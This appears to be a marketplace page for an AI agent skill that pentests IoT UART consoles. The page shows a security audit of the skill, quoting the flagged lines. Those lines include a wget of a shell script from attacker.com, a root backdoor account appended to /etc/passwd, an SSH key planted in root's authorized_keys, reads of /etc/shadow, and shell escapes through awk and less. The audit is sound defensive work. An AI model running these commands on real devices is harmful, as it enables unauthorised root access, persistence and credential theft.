picocom
Enables interaction with IoT device UART consoles for pentesting, including device enumeration and vulnerability discovery.
Install this skill
Security score
The picocom skill was audited on Mar 1, 2026 and we found 25 security issues across 4 threat categories, including 6 high-severity. Review the findings below before installing.
Categories Tested
Security Issues
Template literal with variable interpolation in command context
| 679 | ```bash |
Template literal with variable interpolation in command context
| 813 | ```bash |
System command execution
| 831 | awk 'BEGIN {system("/bin/sh")}' |
Curl to non-GitHub URL
| 130 | --trigger-script "curl http://192.168.1.100/api/reboot" \ |
Curl to non-GitHub URL
| 364 | --trigger-script "curl -X POST http://192.168.1.100/api/update" \ |
Curl to non-GitHub URL
| 393 | --trigger-script "curl http://192.168.1.100/api/reboot" \ |
Wget to non-GitHub URL
| 531 | wget http://attacker.com/shell.sh |
Access to /etc/passwd
| 622 | cat /etc/passwd |
Access to /etc/passwd
| 752 | echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd |
Access to /etc/passwd
| 829 | less /etc/passwd # Then !/bin/sh |
Access to /etc/shadow
| 623 | cat /etc/shadow # If readable - major security issue! |
Access to root home directory
| 739 | mkdir -p /root/.ssh |
Access to root home directory
| 740 | echo "your_ssh_public_key" >> /root/.ssh/authorized_keys |
Access to root home directory
| 741 | chmod 600 /root/.ssh/authorized_keys |
Access to root home directory
| 742 | chmod 700 /root/.ssh |
Access to SSH directory
| 740 | echo "your_ssh_public_key" >> /root/.ssh/authorized_keys |
Access to SSH directory
| 741 | chmod 600 /root/.ssh/authorized_keys |
External URL reference
| 130 | --trigger-script "curl http://192.168.1.100/api/reboot" \ |
External URL reference
| 364 | --trigger-script "curl -X POST http://192.168.1.100/api/update" \ |
External URL reference
| 393 | --trigger-script "curl http://192.168.1.100/api/reboot" \ |
External URL reference
| 531 | wget http://attacker.com/shell.sh |
External URL reference
| 540 | - [BusyBox Official Site](https://busybox.net/) |
External URL reference
| 541 | - [BusyBox Command List](https://busybox.net/downloads/BusyBox.html) |
External URL reference
| 542 | - [BusyBox Source Code](https://git.busybox.net/busybox/) |
External URL reference
| 896 | - [U-Boot documentation](https://u-boot.readthedocs.io/) |
Install this skill with one command
/learn @aiskillstore/picocom